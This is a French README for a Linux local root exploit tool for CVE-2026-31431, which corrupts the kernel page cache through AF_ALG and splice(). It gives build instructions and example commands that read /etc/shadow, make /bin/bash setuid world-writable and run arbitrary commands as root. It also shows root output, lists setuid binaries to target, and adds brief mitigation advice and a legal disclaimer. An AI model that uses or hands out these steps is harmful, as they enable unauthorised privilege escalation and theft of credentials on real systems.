
Exploit pour CVE-2026-31431, une vulnérabilité de corruption du cache de pages du noyau Linux, fournissant un shell racine interactif et une exécution de commandes non interactive via des chaînes AF_ALG et splice().
Outil d'exploitation de la vulnérabilité de pollution du page cache du noyau Linux, prenant en charge l'exécution de commandes non interactive.
CVE-2026-31431 est une vulnérabilité de défaut logique dans le noyau Linux, présente dans l'implémentation de l'algorithme AEAD authencesn. Via la chaîne d'appels système AF_ALG et splice(), un attaquant peut écrire 4 octets de données dans le page cache de n'importe quel fichier lisible.
Portée affectée :
Caractéristiques de la vulnérabilité :
.
├── copyfail_universal.c # Code source du POC principal (compilation statique, sans dépendance libc)
├── copyfail_universal # Binaire compilé
├── run_cmd.sh # Script wrapper d'exécution non interactive
├── Makefile # Script de compilation
└── README.md # Ce document
# Méthode 1 : avec gcc et ld
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal
# Méthode 2 : avec Makefile
make
./copyfail_universal
# Méthode 1 : avec le script wrapper (recommandé)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"
# Méthode 2 : via un pipe
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal
# Méthode 3 : avec une variable d'environnement
CMD='whoami' ./copyfail_universal
# La cible par défaut est /usr/bin/su
# Vous pouvez spécifier une autre cible en modifiant la variable path dans le code source
# Cibles courantes disponibles :
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec
La vulnérabilité ne modifie que le page cache, pas les fichiers sur disque. Exécutez la commande suivante pour récupérer :
sync; echo 3 > /proc/sys/vm/drop_caches
Le script run_cmd.sh intègre déjà la fonctionnalité de récupération automatique.
$ ./run_cmd.sh "id"
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...
uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)
Recherche de tous les programmes setuid sur le système :
find / -perm -4000 -user root -type f 2>/dev/null
Mettre à jour le noyau - Mettez à niveau vers une version du noyau incluant le correctif a664bf3d603d
Atténuation temporaire - Désactivez le module algif_aead :
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
Environnement conteneurisé - Utilisez seccomp pour bloquer la création de sockets AF_ALG
authencesn utilise le tampon cible comme stockage temporaire, écrivant 4 octets au-delà des limitessplice()Cet outil est destiné uniquement à la recherche en sécurité et aux tests autorisés. L'utilisation de cet outil pour attaquer des systèmes non autorisés est illégale. L'utilisateur assume seul l'entière responsabilité légale.
| Programme | Chemin | Disponibilité |
|---|
| su | /usr/bin/su | ✅ Par défaut |
| passwd | /usr/bin/passwd | ✅ |
| chsh | /usr/bin/chsh | ✅ |
| chfn | /usr/bin/chfn | ✅ |
| gpasswd | /usr/bin/gpasswd | ✅ |
| pkexec | /usr/bin/pkexec | ✅ |
| mount | /bin/mount | ✅ |
| umount | /bin/umount | ✅ |